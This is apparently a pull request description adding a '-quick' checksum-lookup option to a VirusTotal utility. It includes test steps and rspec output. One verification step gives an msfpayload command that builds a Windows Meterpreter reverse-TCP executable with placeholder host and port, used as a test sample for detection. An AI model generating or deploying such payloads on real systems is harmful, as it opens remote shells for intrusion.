Add a -quick option for VirusTotalUtility

This adds a -quick option that allows the user to check a malware sample (based on its checksum) without actually uploading to VirusTotal.

To verify:

-  [ ] First you should generate a payload: ```msfpayload windows/meterpreter/reverse_tcp lhost=[LHOST] lport=[LPORT] X > /tmp/test.exe```
- [ ] Upload the sample: ```tools/virustotal.rb -f /tmp/test.exe
- [ ] You should get a report from VirusTotal
- [ ] Now use the "-quick" option: ```tools/virustotal.rb -quick -f /tmp/test.exe```
- [ ] You should again see the same report, but quicker

Rspec:
- [ ] Enter this command: ``` rspec spec/tools/virustotal_spec.rb```
- [ ] You should see the following output:

```
VirusTotalUtility ................

Finished in 1.73 seconds
16 examples, 0 failure
```